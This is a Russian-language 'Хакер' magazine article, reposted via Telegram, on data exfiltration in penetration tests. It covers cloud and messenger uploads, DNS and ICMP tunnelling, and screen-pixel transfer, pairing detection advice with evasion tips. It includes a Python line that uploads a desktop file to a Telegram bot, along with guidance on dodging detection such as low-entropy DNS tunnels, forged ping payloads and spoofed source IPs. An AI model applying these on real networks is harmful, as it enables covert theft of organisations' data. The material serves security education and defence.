Хакер - Проблемы эксфильтрации. Как поймать воров или не попасться при пентесте

Хакер - Проблемы эксфильтрации. Как поймать воров или не попасться при пентесте

hacker_frei

https://t.me/hacker_frei

Иван Балашов 

Содержание статьи

  • Эксфильтрация данных через облачные сервисы
  • Как ловить?
  • Как обойти?
  • DNS-туннелирование
  • Как ловить?
  • Как обойти?
  • ICMP-туннелирование
  • Как ловить?
  • Как обойти?
  • Эксфильтрация данных через изображения
  • Как ловить?
  • Как обойти?
  • Заключение

Эк­сфиль­тра­ция дан­ных — этап тес­тирова­ния на про­ник­новение, ког­да ата­кующий пыта­ется скрыт­но выг­рузить дан­ные из целевой сис­темы за пре­делы перимет­ра орга­низа­ции. При этом важ­но не прив­лечь вни­мание средств защиты и остать­ся незаме­чен­ным. В сегод­няшней статье мы погово­рим о раз­ных методах эксфиль­тра­ции и средс­твах борь­бы с ними.

В MITRE ATT&CK выделе­ны сле­дующие тех­ники переда­чи дан­ных, исполь­зуемые зло­умыш­ленни­ками:

  • ав­томати­зиро­ван­ная эксфиль­тра­ция (Automated Exfiltration);
  • ог­раниче­ние раз­мера переда­ваемых дан­ных (Data Transfer Size Limits);
  • эк­сфиль­тра­ция через аль­тер­натив­ный про­токол (Exfiltration Over Alternative Protocol);
  • эк­сфиль­тра­ция через канал управле­ния C2 (Exfiltration Over Command and Control Channel);
  • эк­сфиль­тра­ция через аль­тер­натив­ную сетевую сре­ду (Exfiltration Over Other Network Medium);
  • эк­сфиль­тра­ция через аль­тер­натив­ную физичес­кую сре­ду (Exfiltration Over Physical Medium);
  • эк­сфиль­тра­ция через веб‑сер­вис (Exfiltration Over Web Service);
  • зап­ланиро­ван­ная переда­ча (Scheduled Transfer);
  • пе­реда­ча дан­ных на облачный сер­вис (Transfer Data to Cloud Account).

Я рас­смот­рю нес­коль­ко наибо­лее зна­чимых методов эксфиль­тра­ции, обсу­дим, как им про­тиво­дей­ству­ет защита и каким обра­зом это про­тиво­дей­ствие мож­но обой­ти при тес­тирова­нии.

ЭКСФИЛЬТРАЦИЯ ДАННЫХ ЧЕРЕЗ ОБЛАЧНЫЕ СЕРВИСЫ

Ес­ли говорить о спо­собах эксфиль­тра­ции, то, конеч­но же, заг­рузка на внеш­ний облачный диск — это наибо­лее прос­той спо­соб. Если в кор­поратив­ной сети раз­решены облачные хра­нили­ща, такие как Google Drive, Dropbox, Microsoft OneDrive, их мож­но исполь­зовать для эксфиль­тра­ции дан­ных за пре­делы сетево­го перимет­ра и оста­вать­ся незаме­чен­ным. Ата­кующе­му в дан­ном слу­чае не нуж­но нас­тра­ивать собс­твен­ную инфраструк­туру.

Нап­ример, модуль exfil_dropbox фрей­мвор­ка для пос­тэкс­плу­ата­ции PowerShell Empire под­держи­вает такую воз­можность «из короб­ки». Этот модуль исполь­зует облачное хра­нили­ще Dropbox.

Пред­положим, у нас есть дос­туп к уда­лен­ному компь­юте­ру в виде сес­сии PowerShell Empire. Задача — заг­рузить на облачный сер­вис Dropbox нес­коль­ко фай­лов c рабоче­го сто­ла.

Заг­рузка фай­лов с рабоче­го сто­ла

Ес­ли пред­варитель­ная нас­трой­ка API Key сде­лана вер­но, пос­ле запус­ка модуля фай­лы будут заг­ружены по ука­зан­ному пути в облачный сер­вис Dropbox.

Заг­рузка фай­лов в Dropbox

Од­нако мир дви­жет­ся впе­ред, и сей­час мно­гие уже не исполь­зуют сер­висы хос­тинга фай­лов: их с успе­хом замени­ли мес­сен­дже­ры, прак­тичес­ки в каж­дом из которых есть воз­можность исполь­зовать диалог как облачное хра­нили­ще. То, сколь­ко в чатах того же WhatsApp ходит фотог­рафий пас­портов и дру­гих пер­сональ­ных дан­ных «по работе», зас­лужива­ет отдель­ной статьи. Кро­ме того, для нас важ­но, что у круп­ных мес­сен­дже­ров есть веб‑вер­сии, дос­тупные нап­рямую из бра­узе­ра. Выг­ружать дан­ные через них воз­можно как через бра­узер (если мы име­ем физичес­кий дос­туп к машине), так и авто­мати­чес­ки, исполь­зуя API. Зачас­тую для это­го уже пре­дус­мотре­на фун­кция заг­рузки фай­лов. Нап­ример, через Telegram-бота. Дела­ется это все­го одним POST-зап­росом.

import requests

requests.post("https://api.telegram.org/botBOTTOKEN/sendDocument?chat_id=00000",files={"document":open('Desktop\\cypher.jpg','rb')})

В резуль­тате файл заг­ружен сра­зу в авто­мати­чес­ком режиме.

Заг­ружен­ный файл

В качес­тве канала выг­рузки дан­ных мож­но вос­поль­зовать­ся фун­кци­ей заг­рузки фай­лов на любых дру­гих легитим­ных ресур­сах. Нап­ример, она есть на мно­жес­тве Wiki-про­ектов и баг­тре­керах.

Как ловить?

От­делить чес­тный поль­зователь­ский тра­фик от зло­дей­ской попыт­ки вывес­ти дан­ные через веб — задача неп­ростая. Осо­бен­но учи­тывая, что сей­час поч­ти не оста­лось ресур­сов, которые бы не исполь­зовали шиф­рование. Так что основной инс­тру­мент борь­бы в этом слу­чае — баналь­ная бло­киров­ка внеш­них ресур­сов на перимет­ре орга­низа­ции. Так мож­но бороть­ся с заг­рузкой на облачные хра­нили­ща или даже заб­локиро­вать все мес­сен­дже­ры и GitHub. Одна­ко это не спа­сет от вык­ладыва­ния порезан­ного на кус­ки шиф­рован­ного архи­ва с изме­нен­ным рас­ширени­ем на какую‑нибудь мало­извес­тную, но име­ющую чес­тную репута­цию вики.

На­ибо­лее дешевый и эффектив­ный спо­соб в этом слу­чае — вай­тлист интернет‑ресур­сов, дос­тупных из кор­поратив­ной сети. Одна­ко сей­час очень мало орга­низа­ций может поз­волить себе пол­ностью изо­лиро­вать сво­их сот­рудни­ков от веба. Если такая воз­можность есть, то мож­но исполь­зовать филь­тру­ющий прок­си, что даст поль­зовате­лям дос­туп к вебу и обес­печит кон­троль конеч­ных URL, типов и тел зап­росов.

Как обойти?

Да­же если фун­кция заг­рузки фай­ла недос­тупна в чис­том виде (нап­ример, заб­локиро­ваны все POST-зап­росы раз­мером боль­ше 1 Мбайт), воз­можность переда­вать сооб­щения в обе сто­роны при исполь­зовании средств авто­мати­зации прев­раща­ет про­токол такого при­ложе­ния в пол­ноцен­ную сре­ду переда­чи дан­ных. Рас­смот­рим в качес­тве при­мера при­ложе­ние Zoom, став­шее очень популяр­ным за вре­мя пан­демии. Это при­ложе­ние име­ет пол­ноцен­ный REST API. Как в кли­енте, так и через API Zoom есть воз­можность соз­давать каналы и писать сооб­щения в них.

На GitHub выложен PoC на Python, пред­став­ляющий собой шелл, который исполь­зует каналы Zoom как сре­ду переда­чи. Управлять ПК, на котором запущен скрипт, воз­можно как через API, так и непос­редс­твен­но из кли­ента.

Ка­налы в Zoom

За­меть, этот PoC соз­дан в пер­вую оче­редь для демонс­тра­ции и не учи­тыва­ет задава­емые Zoom огра­ниче­ния на количес­тво сооб­щений и дли­ну одно­го сооб­щения.

Важ­ная осо­бен­ность здесь в том, что API-зап­росы при­нима­ют все сер­веры Zoom. В том чис­ле даже если зап­рос идет по IP, без име­ни хос­та. Таким обра­зом, если в про­цес­сах ком­пании плот­но исполь­зует­ся Zoom, про­тиво­дей­ство­вать такому методу слож­но, не бло­кируя дос­туп к сер­верам Zoom пол­ностью. Это спра­вед­ливо и если говорить о выг­рузке через дру­гие мес­сен­дже­ры. Если не знать вызыва­емый метод API, невоз­можно отфиль­тро­вать выг­рузку дан­ных от легитим­ного тра­фика мес­сен­дже­ра.

DNS-ТУННЕЛИРОВАНИЕ

Ин­капсу­ляция дан­ных в тело прик­ладных про­токо­лов — один из самых рас­простра­нен­ных методов эксфиль­тра­ции дан­ных и пос­тро­ения тун­нелей. Так как исхо­дящий DNS-тра­фик раз­решен в боль­шинс­тве кор­поратив­ных сетей, его мож­но исполь­зовать как канал свя­зи меж­ду сер­вером ата­кующе­го и ском­про­мети­рован­ным хос­том.

В нас­тоящее вре­мя сущес­тву­ет мно­жес­тво ути­лит для соз­дания DNS-тун­нелей: NSTX, DNSCat2, Iodine, TUNS, Dns2TCP, DeNiSe, DNScapy, Heyoka, OzymanDNS, psudp, squeeza, tcp-over-dns. В 2017 году на кон­ферен­ции ZeroNights санкт‑петер­бург­ская груп­па DC 7812 пред­ста­вила рас­ширение Meterpreter, реали­зующее тран­спортный канал для кон­тро­ля над аген­том Meterpreter при помощи DNS-тун­неля.

Рас­ширение Meterpreter

Как ловить?

Есть раз­ные методы обна­руже­ния DNS-тун­нелиро­вания в сети. Все они осно­ваны на ана­лизе содер­жимого пакетов DNS, а так­же количес­тва и час­тоты DNS-зап­росов. При эксфиль­тра­ции дан­ные кодиру­ются и переда­ются в виде под­доменов треть­его уров­ня. Дли­на под­домена, как пра­вило, не пре­выша­ет 30 сим­волов, соот­ветс­твен­но, мож­но уста­новить пра­вила для бло­киров­ки зап­росов, пре­выша­ющих этот порог.


Еще один спо­соб — ана­лиз энтро­пии домен­ных имен. Как пра­вило, легитим­ные URL содер­жат осмыслен­ные час­ти, в то вре­мя как закоди­рован­ные в Base64 дан­ные име­ют более высокую энтро­пию.

Как вари­ант, мож­но искать в пакетах записи DNS, которые нехарак­терны для легитим­ного тра­фика, нап­ример CNAME или TXT. Если полити­ка безопас­ности тре­бует, что­бы все зап­росы про­ходи­ли через внут­ренний сер­вер DNS, то по наруше­ниям мож­но отсле­дить нелеги­тим­ный тра­фик. Одна­ко боль­шинс­тво ути­лит пред­назна­чены для работы даже при пересыл­ке зап­росов через внут­ренний DNS. Мно­гие ути­литы исполь­зуют собс­твен­ные алго­рит­мы генера­ции домен­ных имен, что поз­воля­ет обна­ружи­вать тун­нели по сиг­натурам.

Один из основных и наибо­лее прос­тых методов обна­руже­ния — ана­лиз объ­ема DNS-тра­фика для кон­крет­ного кли­ент­ско­го IP-адре­са. Если зап­росов вдруг замет­но боль­ше, чем от дру­гих хос­тов, зна­чит, есть подоз­рение на эксфиль­тра­цию.

Как обойти?

Для скры­тия DNS-тун­нелиро­вания от средств защиты луч­ше все­го исполь­зовать самопис­ные инс­тру­мен­ты, так как сиг­натуры уже соз­данных ути­лит есть у вен­доров. Кро­ме того, луч­ше все­го исполь­зовать рас­простра­нен­ные типы DNS-записей, такие как A и AAAA. Так­же мож­но исполь­зовать уни­каль­ные алго­рит­мы генера­ции домен­ного име­ни для переда­чи закоди­рован­ной информа­ции, что­бы они не пре­выша­ли опре­делен­ной дли­ны и име­ли неболь­шую энтро­пию.

ICMP-ТУННЕЛИРОВАНИЕ

ICMP (Internet Control Message Protocol) — про­токол сетево­го уров­ня, исполь­зуемый для диаг­ности­ки сети.

Ути­литы ping и tracert — два основных инс­тру­мен­та адми­нис­тра­тора для диаг­ности­ки неис­прав­ностей в сети. Без них диаг­ности­ка сети прев­раща­ется для инже­нера в ад. Поэто­му тра­фик ICMP прак­тичес­ки никог­да не огра­ничи­вает­ся. Сог­ласно RFC 792, пакеты ICMP вклю­чают в себя поле Data, содер­жимое и фор­мат которо­го стро­го не опре­деле­ны, что откры­вает воз­можность для инкапсу­ляции любых дан­ных.

Для ICMP-тун­нелиро­вания сущес­тву­ют раз­ные инс­тру­мен­ты, такие как icmpsh, ptunnel и icmptunnel. Важ­ный момент: для отправ­ки модифи­циро­ван­ных пакетов ICMP в Linux тре­буют­ся пра­ва адми­нис­тра­тора сис­темы. В Windows таких огра­ниче­ний нет. С опре­делен­ного момен­та плат­форма .NET ста­ла содер­жать все необ­ходимые инс­тру­мен­ты, которые поз­воля­ют при помощи обер­тки в PowerShell соб­рать свой ICMP-тун­нель для вывода дан­ных без при­мене­ния сто­рон­них ути­лит.

На GitHub ты можешь най­ти код кли­ента и сер­вера, которые переп­равля­ют дан­ные через зап­росы echo, исполь­зуя встро­енные методы клас­са Ping из сис­темной сбор­ки.

Как ловить?

Де­тек­тирова­ние и бло­киров­ка ICMP-тун­нелей — задача нет­риви­аль­ная, хотя и не очень слож­ная. Глав­ная проб­лема зак­люча­ется в том, что тра­фик ICMP нель­зя бло­киро­вать пол­ностью — это может парали­зовать инфраструк­туру сети. Одна­ко, нап­ример, белые спис­ки исхо­дящих ICMP-соеди­нений могут силь­но осложнить задачу пос­тро­ения канала наружу. В спис­ке мож­но оста­вить лишь извес­тные хос­ты, необ­ходимые для диаг­ности­ки соеди­нения.

Сиг­натура­ми при детек­тирова­нии тун­нелей могут слу­жить такие парамет­ры, как силь­ное откло­нение раз­мера пакетов от нор­мы и слиш­ком плот­ный и про­дол­житель­ный поток тра­фика ICMP от какого‑то одно­го хос­та. Но глав­ный мар­кер — это, конеч­но, поле Data.

Впро­чем, необ­ходимо пом­нить, что поле Data исполь­зуют и впол­не легитим­ные ути­литы. Нап­ример, такая при­выч­ная вещь, как ути­лита ping, в каж­дом пакете зап­роса echo запол­няет в том чис­ле и поле Data. И в зависи­мос­ти от ОС поле будет запол­нено по‑раз­ному. Так, для Windows это будет стро­ка abcdefghijklmnopqrstuvwabcdefghi. В Linux у ping пер­вые два бай­та Data отли­чают­ся от пакета к пакету, но осталь­ное содер­жимое не меня­ется. В сыром HEX оно выг­лядит так:

3030000000000101112131415161718191a1b1c1d1e1f202122232425262728292a2b2c2d2e2f3031323334353637

В дам­пе будет сра­зу замет­но окон­чание ASCII-стро­ки: **!"#$%&'()+,-./01234567. Это еще один параметр для фин­гер­прин­тинга ОС, такого как TTL.

Как обойти?

Как и с дру­гими спо­соба­ми, тут мно­гое зависит от пра­вил детек­тирова­ния. Под­ста­нов­ка в начале пос­ледова­тель­нос­ти abcdef поз­волит при­дать нашим пакетам вид легитим­ных. Для борь­бы с тун­нелями ICMP обыч­но бло­киру­ют зап­росы echo, одна­ко час­то не бло­киру­ют дру­гие типы ICMP. Нап­ример, destination unreachable.

Кро­ме того, если наша задача — толь­ко вывод дан­ных, без обратной свя­зи от сер­вера, то дос­таточ­но односто­рон­него тун­неля, а зна­чит, мы можем генери­ровать слу­чай­ные IP-адре­са источни­ка (нап­ример, с исполь­зовани­ем scapy). Это поз­волит обой­ти филь­тра­цию и детект боль­шого потока пакетов от одно­го IP. Кро­ме того, этот при­ем поз­волит замас­кировать реаль­ный адрес машины, слу­жащей источни­ком утеч­ки.

ЭКСФИЛЬТРАЦИЯ ДАННЫХ ЧЕРЕЗ ИЗОБРАЖЕНИЯ

Су­щес­тву­ют и необыч­ные методы эксфиль­тра­ции дан­ных, выявить их на уров­не сети невоз­можно. Так, в 2017 году Алан Мони из ком­пании Pen Test Partners опи­сал метод эксфиль­тра­ции через кодиро­вание дан­ных в зна­чени­ях цве­та пик­селей. Ата­куемый хост мига­ет экра­ном, при­нима­ющая сто­рона зах­ватыва­ет видео и декоди­рует дан­ные. При раз­решении экра­на 1920 × 1080 при 24-бит­ном цве­те мож­но кодиро­вать поч­ти 6 Мбайт.

Алан Мони соз­дал и ути­литу, реали­зующую этот метод. Зах­вачен­ный хост мига­ет экра­ном и в каж­дой вспыш­ке переда­ет блок дан­ных, который начина­ется с опре­делен­ного заголов­ка. Как толь­ко при­емник получа­ет кадр без заголов­ка, он вос­ста­нав­лива­ет содер­жимое из уже получен­ных кад­ров и сох­раня­ет резуль­тат в файл.

На при­нима­ющей сто­роне необ­ходимо запус­тить ути­литу в режиме Receiver.

За­пуск ути­литы в режиме Receiver

На переда­ющей сто­роне нуж­но открыть файл, который будет закоди­рован в пик­сели и счи­тан при­нима­ющей сто­роной.

От­кры­тие фай­ла

Пос­ле откры­тия фай­ла экран нач­нет мигать. При­нима­ющая сто­рона будет декоди­ровать пик­сели и сох­ранять файл.

Де­коди­рова­ние пик­селей и сох­ранение фай­ла

Этот метод ста­новит­ся осо­бен­но акту­аль­ным во вре­мя пан­демии, так как мно­гие ком­пании переш­ли на уда­лен­ку и исполь­зуют для дос­тупа к внут­ренней сети средс­тва вро­де RDP и Citrix.

Как ловить?

Об­наружить такой спе­цифи­чес­кий метод штат­ными средс­тва­ми может быть проб­лематич­но. Одна­ко ути­лита пока что встре­чает­ся ред­ко и не обросла боль­шим чис­лом модифи­каций. Так что мож­но защитить­ся добав­лени­ем хеша исполня­емо­го фай­ла в базу анти­виру­са.

Что­бы пол­ноцен­но отсле­живать запуск подоб­ного передат­чика, при­дет­ся кон­тро­лиро­вать изоб­ражение рабоче­го сто­ла сот­рудни­ков. Так как при­емник ищет в кад­рах спе­циаль­ный заголо­вок, его может искать и средс­тво защиты.

Как обойти?

Вен­дор­ских решений, которые бы про­тиво­дей­ство­вали такому спо­собу эксфиль­тра­ции, пока что не сущес­тву­ет, поэто­му и запуск передат­чика вряд ли будет обна­ружен. Одна­ко, если в ком­пании исполь­зуют­ся сис­темы, кон­тро­лиру­ющие активность сот­рудни­ков, есть опре­делен­ная веро­ятность, что кто‑то может заметить стран­ное мигание на рабочем сто­ле. Так что перед исполь­зовани­ем это­го метода сто­ит заранее убе­дить­ся, смот­рит ли дежур­ная служ­ба за рабочи­ми сто­лами сот­рудни­ков или нет.

ЗАКЛЮЧЕНИЕ

В этой статье я соб­рал раз­ные методы, которые поз­воля­ют передать информа­цию в обход огра­ниче­ний как на прик­ладном уров­не, так и на более низ­ких. Обоб­щив эти при­меры, мож­но сде­лать вывод, что если в орга­низа­ции есть каналы переда­чи информа­ции во внеш­ний мир, то эти каналы так или ина­че могут быть исполь­зованы для эксфиль­тра­ции дан­ных. Как извес­тно, информа­цию нель­зя извлечь толь­ко из вык­лючен­ного компь­юте­ра в клет­ке Фарадея, залитой для надеж­ности бетоном. По край­ней мере, пока.

В сов­ремен­ных реалиях ком­пании не могут поз­волить себе быть пол­ностью изо­лиро­ван­ными от мировой сети. Тем не менее наибо­лее эффектив­ный и недоро­гой метод про­тиво­дей­ствия — это бло­киров­ка исхо­дяще­го тра­фика. Если заб­локиро­вать облачные дис­ки и мес­сен­дже­ры на перимет­ре ком­пании, это оста­новит хотя бы сот­рудни­ков, не обла­дающих спе­циаль­ными зна­ниями.

Ве­дение белого спис­ка внеш­них хос­тов, к которым раз­решен тра­фик ICMP, огра­ничит воз­можность пос­тро­ения ICMP-тун­неля.

Для эксфиль­тра­ции через веб‑сер­висы мож­но исполь­зовать прак­тичес­ки любой ресурс, поз­воля­ющий заг­ружать дан­ные. Но все ресур­сы, где есть фун­кция ком­менти­рова­ния, заб­локиро­вать невоз­можно, не сде­лав инфраструк­туру изо­лиро­ван­ной.

Про­фили­рова­ние тра­фика орга­низа­ции и выяв­ление базово­го уров­ня поз­волит находить ано­малии в количес­тве или раз­мерах пакетов, которые могут сви­детель­ство­вать о попыт­ке эксфиль­тра­ции дан­ных. Исполь­зование же сис­тем DLP эффектив­но ров­но до того момен­та, пока зло­умыш­ленник не нач­нет при­менять шиф­рование.

В зак­лючение напом­ню, что сис­темы бес­полез­ны, если у зло­умыш­ленни­ка будет физичес­кий дос­туп к ПК, воз­можность вста­вить свою флеш­ку, 3G-модем или выдер­нуть сетевой кабель и вста­вить в свой ноут­бук или роутер.

Читайте ещё больше платных статей бесплатно: https://t.me/hacker_frei



Report Page